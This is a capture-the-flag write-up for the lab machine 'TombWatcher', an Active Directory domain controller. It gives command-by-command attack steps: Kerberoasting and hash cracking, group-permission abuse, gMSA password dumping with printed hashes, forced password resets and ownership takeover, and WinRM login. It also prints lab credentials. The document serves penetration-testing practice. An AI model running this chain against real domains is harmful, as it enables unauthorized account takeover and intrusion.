TombWatcher¶

Initial Scan¶

Discovered open port 80/tcp on 10.10.11.72

The target is a Windows Domain Controller for tombwatcher.htb.

Enumeration¶

We have valid credentials for user henry:

henry:H3nry_987TGV!

Kerberoasting¶

Requesting Kerberoastable SPNs:

GetUserSPNs.py -outputfile kerberoastables.txt \
  -dc-ip 10.10.11.72 'tombwatcher.htb/henry:H3nry_987TGV!'

User Alfred has a Kerberoastable SPN. Cracking the TGS hash:

hashcat -a 0 -m 13100 kerberoastables.txt ~/wordlists/rockyou.txt

Alfred:basketball

Group Membership Abuse¶

Alfred has addSelf permission on the INFRASTRUCTURE group. Adding Alfred to the group:

bloodyAD --host 10.10.11.72 -u 'Alfred' -p 'basketball' \
  -d tombwatcher.htb add groupMember 'INFRASTRUCTURE' 'Alfred'

gMSA Password Extraction¶

With membership in INFRASTRUCTURE, we can read the gMSA password for ansible_dev$:

gMSADumper.py -d "tombwatcher.htb" -l "10.10.11.72" -u "Alfred" -p "basketball"

Users or groups who can read password for ansible_dev$:
 > Infrastructure
ansible_dev$:::1c37d00093dc2a5f25176bf2d474afdc
ansible_dev$:aes256-cts-hmac-sha1-96:526688ad2b7ead7566b70184c518ef665cc4c0215a1d634ef5f5bcda6543b5b3
ansible_dev$:aes128-cts-hmac-sha1-96:91366223f82cd8d39b0e767f0061fd9a

Privilege Escalation¶

Using ansible_dev$ to change SAM's password:

bloodyAD --host 10.10.11.72 -u 'ANSIBLE_DEV$' -p ':1c37d00093dc2a5f25176bf2d474afdc' \
  -d tombwatcher.htb set password 'SAM' 'newP@ssword2022'

Taking ownership of JOHN's account by setting SAM as owner, then changing JOHN's password:

bloodyAD --host 10.10.11.72 -u 'SAM' -p 'newP@ssword2022' \
  -d tombwatcher.htb set owner 'JOHN' 'SAM'

bloodyAD --host 10.10.11.72 -u 'SAM' -p 'newP@ssword2022' \
  -d tombwatcher.htb set password 'JOHN' 'newP@ssword2022'

Connecting as JOHN:

evil-winrm -i 10.10.11.72 -u 'JOHN' -p "newP@ssword2022"

*Evil-WinRM* PS C:\Users\john\Desktop> cat user.txt
***

Flags¶

user.txt: ***